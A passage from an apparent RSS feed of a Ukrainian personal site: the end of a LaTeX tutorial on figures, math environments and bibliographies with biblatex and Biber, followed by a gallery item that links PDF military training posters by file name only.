&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;k&#34;&gt;\centering&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% все після цього в середовищі відцентроване
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;k&#34;&gt;\includegraphics&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[width=.7\textwidth]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;latex&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\caption&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;латех база&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\label&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;chadtex&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% так само можна позначати рисунки
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;figure&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Більше про параметри розміщення для плавких об&amp;rsquo;єктів &lt;a href=&#34;https://tex.stackexchange.com/questions/35125/how-to-use-the-placement-options-t-h-with-figures&#34;&gt;тут&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;математика&#34;&gt;Математика&lt;/h4&gt;
&lt;p&gt;Для математики одразу краще використовувати
пакет &lt;code&gt;amsmath&lt;/code&gt;. Додаємо до преамбули
&lt;strong&gt;&lt;code&gt;\usepackage{amsmath}&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ось способи відкриття математичного середовища
без номера:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Математична формула &lt;span class=&#34;s&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;\phi&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;$&lt;/span&gt; всередині стрічки
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;sb&#34;&gt;$$&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;	a&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;a_&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;% багатосимвольний нижній індекс: _{qriu}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;	&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;\implies&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;% очевидно імплікація (випливає).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;	a&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=-&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;a_&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;   &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;% потрібні символи просто шукайте в літературі й інтернеті
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;$$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;sb&#34;&gt;\[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;% так краще, бо розумієте, де початок і кінець
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;	&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;\sin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;^&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;m&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;x &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;\cos&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;^&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;m&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;x &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt; &lt;/span&gt;&lt;span class=&#34;c&#34;&gt;% верхній^{індекс}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;\]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;До речі, &lt;code&gt;верхній^{індекс}&lt;/code&gt; не зверстається,
якщо не запхати його в &lt;code&gt;\text{верхній}^{\text{індекс}}&lt;/code&gt;,
бо ми в математичному середовищі.
До речі, тут автоматично визначаються всі пропуски,
тому як потрібно десь поставити, наприклад, пробіл,
замість &lt;code&gt;&#39; &#39;&lt;/code&gt; набираємо &lt;code&gt;&#39;~&#39;&lt;/code&gt; &amp;mdash; символ нерозривного пробілу. Насправді є більше нюансів, але я не просто так
залишаю нижче посилання на кілька гарних джерел.&lt;/p&gt;
&lt;p&gt;Деякі математичні середовища з лічильниками,
паралельно дроби:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;equation&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\frac&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\sin&lt;/span&gt;(3n)&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;3&lt;span class=&#34;nb&#34;&gt;^&lt;/span&gt;n&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c&#34;&gt;% дроби пишуть за
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;c&#34;&gt;% допомогою команди \frac,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;c&#34;&gt;% 1-й аргумент --- чисельник
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;c&#34;&gt;% 2-й --- знаменник
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;equation&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;align&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% це середовище нумерує все, розділене переведенням рядка, якщо не додати до `align` `*`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	xdy=(3y-2x)dx &lt;span class=&#34;k&#34;&gt;\\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\frac&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;dy&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;dx&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;=&lt;span class=&#34;k&#34;&gt;\frac&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;3y-2x&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;x&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\label&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;bruh&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% можна так позначати...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;align&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;\ref&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;bruh&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% ... і потім звертатися, і буде відображатися номер рівняння/рисунку/секції/(...)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;бібліографія&#34;&gt;Бібліографія&lt;/h4&gt;
&lt;p&gt;Можна писати її безпосередньо в латех:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\begin&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;thebibliography&lt;span class=&#34;nb&#34;&gt;}{&lt;/span&gt;00&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% 00 вказує максимальну ширину номера посилання й використовуєтьтся для горизонтального вирівнювання елементів списку.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;	&lt;span class=&#34;k&#34;&gt;\bibitem&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;latex2days&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; Дональд Е.~Кнут. &lt;span class=&#34;k&#34;&gt;\emph&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;Все про&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; Tex. Видання, Київ, 2929. &lt;span class=&#34;c&#34;&gt;% у [] можна вказати номер
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\end&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;thebibliography&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Але значно зручніше використовувати Biber та BibTeX.
(Не забудьте встановити Biber, в арчі це &lt;code&gt;pacman -S biber&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Додаємо це до преамбули&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\usepackage&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[backend=biber]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;biblatex&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\addbibresource&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;bib.bib&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;вміст &lt;code&gt;bib.bib&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@book{test,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	author = &amp;#34;Автор Я&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	title = {Назва книжки},
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	year = 2023,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	publisher = {видавець},
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	address = {місто}
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@book{other,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	author = &amp;#34;Хтось&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	title = {Назва книжки},
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	year = 2023,
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	publisher = {видавець},
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	address = {місто}
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Тепер звертаємося до нашої книжки, наприклад,
за допомогою варіацій команд типу &lt;code&gt;\cite&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-tex&#34; data-lang=&#34;tex&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\cite&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;test&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% можна додати якісь нотатки
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;\textcite&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;[ст.~21]&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;{&lt;/span&gt;test&lt;span class=&#34;nb&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% наприклад, номер сторінки
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;% ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;\printbibliography&lt;/span&gt; &lt;span class=&#34;c&#34;&gt;% вивід бібліографії
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Будуть надруковані тільки ті твори, на які ви
посилалися. Якщо потрібно додати щось без
відображення:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;\nocite{other}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id=&#34;трохи-про-компіляцію&#34;&gt;Трохи про компіляцію:&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;Звично збираємо документ.&lt;/li&gt;
&lt;li&gt;потім даємо Biber назву файлу, але без суфікса &lt;code&gt;.tex&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;знову компілюємо й тішимося&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;корисні-ресурси&#34;&gt;Корисні ресурси&lt;/h2&gt;
&lt;p&gt;Ця стаття покликана лише дати
вам загальне розуміння LaTeX та максимально продати
вам його за безплатно. Тому тут я залишаю кілька посилань,
за якими ви знайдете гарні джерела інформації.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Якщо ви знаєте англійську мову, то &lt;a href=&#34;https://lukesmith.xyz/articles/wanna-learn-latex/&#34;&gt;тут&lt;/a&gt; знайдете одразу багато корисного. Зрештою, навіть не знаючи англійської, ви можете просто повторювати команди.&lt;/li&gt;
&lt;li&gt;добра &lt;a href=&#34;http://www.stolyarov.info/books/latex3days&#34;&gt;книжка&lt;/a&gt; (&lt;a href=&#34;https://miliukhin.xyz/articles/latex/latex3days.pdf&#34;&gt;копія тут&lt;/a&gt;), якщо ви володієте московською говіркою. Це не жарт, найбільш використовувані штуки можна вивчити навіть швидше.&lt;/li&gt;
&lt;/ul&gt;
</description>
	</item>
	
	<item>
		<title>Військові Навчальні Плакати</title>
		<link>https://miliukhin.xyz/gallery/milposters/</link>
		<pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/gallery/milposters/</guid>
		<description>&lt;p&gt;-&amp;gt; &lt;a href=&#34;https://miliukhin.xyz/plakaty/plakaty.zip&#34;&gt;Архів усіх PDF плакатів&lt;/a&gt; &amp;lt;-&lt;/p&gt;


&lt;div class=wrapper&gt;
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/ags17.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/ags17.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/ags17.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/ak74m.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/ak74m.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/ak74m.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/ar15-m16.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/ar15-m16.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/ar15-m16.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/brdm2_rchb.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/brdm2_rchb.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/brdm2_rchb.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/degasaz_paket.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/degasaz_paket.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/degasaz_paket.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/dim_art_pripasy.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/dim_art_pripasy.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/dim_art_pripasy.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/dim_granat.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/dim_granat.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/dim_granat.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/dim_patron.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/dim_patron.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/dim_patron.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/dim_shashki.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/dim_shashki.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/dim_shashki.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/gp25.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/gp25.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/gp25.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/granat.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/granat.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
				&lt;code&gt;/plakaty/granat.pdf&lt;/code&gt;
		&lt;/figcaption&gt;
	&lt;/figure&gt;
	&lt;/a&gt;
	&lt;/div&gt;
	
	
	
	
	
	&lt;div class=picdiv&gt;
	&lt;a href=https://miliukhin.xyz/plakaty/ipp.pdf&gt;
	&lt;figure&gt;
		&lt;img src=&#34;https://miliukhin.xyz/plakaty/ipp.pdf.jpg&#34; &gt;&lt;/img&gt;
		&lt;figcaption&gt;
